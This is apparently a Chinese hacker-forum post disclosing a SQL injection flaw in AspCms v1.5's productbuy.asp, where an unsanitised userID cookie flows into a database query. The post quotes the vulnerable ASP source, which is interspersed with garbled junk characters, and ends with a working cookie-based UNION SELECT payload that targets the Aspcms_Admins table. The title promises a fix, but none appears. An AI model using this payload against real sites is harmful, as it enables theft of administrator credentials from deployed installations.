AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

$ G; C, c) j- X% Z! n<%

/ \- u- f$ W. @/ `( w- c' U& M7 qif action = "buy" then

        addOrder()
" n6 H! M8 E  z, _# G. d% [
2 }5 X9 M7 Q+ B$ @, \5 Melse

        echoContent()

end if
) M9 f+ w6 W3 m$ m5 x0 Q. ]

- ]6 y0 E9 _7 p  d  a( {
……略过


" \7 U( P) D6 `. Q, g- B8 N+ q
; _" w* P, U6 q$ N! R# ~Sub echoContent()
2 `: Q- ?" ^6 t6 ^, _' ^/ @
6 k( O+ m. g4 Z: x; k1 _        dim id

        id=getForm("id","get")

        
6 q+ O  j( R7 f8 N% J
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
( L" l+ |# ^7 S& _1 X, i5 Z
9 z1 F8 l' Z  i1 S        
7 e0 \3 ]7 O' B) W- H
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

3 c, U  @, l) X) U6 ~        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

! B# |! I% k+ \6 O# {5 s) R0 B        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"



        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)
" Q9 ^+ E, P( t+ M% l  U
        

" ~# a+ b4 n; u- a, d/ M; a: S9 r' }        Dim linkman,gender,phone,mobile,email,qq,address,postcode
. U' t7 W7 F. Y4 C+ u9 o. z
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

- J7 r0 N& C) I/ w6 `% f        if rCookie("loginstatus")=1 then  
: [, `5 I/ `1 X
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
- m# Z1 P( V: X: \* s
                linkman=rsObj("truename")

                gender=rsObj("gender")
; t# ~; F# i- k' p
                phone=rsObj("phone")

                mobile=rsObj("mobile")
( ]4 s* Q$ k; P5 t* `, w2 }2 _
                email=rsObj("email")

' [% U# I( v( d8 U4 H& N. a, @                qq=rsObj("qq")
' l- h1 a3 a( d9 v9 j% h- ^
                address=rsObj("address")
" M  f6 o9 U5 P2 w0 C0 d
) q5 Y6 v' s( @/ O  E3 }- G                postcode=rsObj("postcode")

        else
" L$ z( ^1 ~/ v
' j0 F" o( d4 g5 @: G                gender=1
; _5 _+ b. r; `5 z: o( ~1 \
        end if
* K  r$ u0 L" Q4 d' {# ]
        rsObj.close()

& G- L7 R7 W& [; ^. E$ e               
, i5 I7 V* s! g/ E! Q, ^1 W
  h2 s- j) L4 W        with templateObj
+ v4 {: F# n: }1 E2 O+ D
! o4 C* \; ?1 d                .content=loadFile(templatePath)        
. u; E% G* `# w9 T" W) U
% i" e/ @2 }6 X# q2 e                .parseHtml()
2 M; I7 `7 j3 C
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
5 C0 F+ d3 a# A" P! a/ ?: L' P) N0 v6 ?
$ X4 V5 }1 d- m: d* w                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               

8 R4 A5 q" M8 W% V  R5 S8 b5 X' i# i                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
6 @0 p( p/ d6 n7 r* t# Y: U
                .content=replaceStr(.content,"[aspcms:email]",email)                        
. q' Q% w7 J. ?0 c+ ?! e7 Y
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
) Q" L0 Z% u# {
" W* ~( ]9 G0 p" r3 N                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
! H% _1 T0 p' x5 g% V9 B
) k& d. O- B( `1 @  e                .parseCommon()                 
5 g7 l% s8 c9 A
                echo .content
5 ~8 t: A) b/ e" v7 W+ R+ F
        end with

        set templateobj =nothing : terminateAllObjects

/ V6 e! d+ m, m$ [' r) e5 |3 ?5 i3 NEnd Sub
3 a* `) K3 F2 l& R0 G  T漏洞很明显，没啥好说的
# m, I; n- g( x7 z2 q$ r) ^poc：
, ~. H2 D! Z- ]- J
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​